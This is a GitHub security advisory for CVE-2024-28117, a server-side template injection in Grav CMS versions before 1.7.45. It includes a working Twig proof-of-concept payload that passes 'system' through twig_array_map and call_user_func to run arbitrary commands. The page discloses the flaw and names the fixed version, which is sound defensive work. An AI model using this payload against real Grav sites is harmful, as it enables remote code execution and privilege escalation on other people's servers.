~ / search / GHSA-qfv4-q44r-g7rv

GHSA-qfv4-q44r-g7rv

Server Side Template Injection (SSTI)

Source: GitHub Advisory Database (reviewed) High CVE-2024-28117

Packages

EcosystemPackageAffectedFixed in
Packagist getgrav/grav < 1.7.45 1.7.45

Details

As written in the advisory (Markdown source, shown as plain text).

### Summary Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands. ### Details ``` {{ grav.twig.twig.getFunction('twig_array_map')|var_dump }} ``` ![image](https://user-images.githubusercontent.com/46442697/281397674-6098806a-e936-4849-956e-d394a7c037da.png) When we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions. ``` {% set cmd = {'id':'system'} %} {{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }} ``` Since there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func. ### PoC ``` {% set cmd = {'id':'system'} %} {{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }} ``` ### Impact Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

References

External links from the advisory. They lead to third-party sites.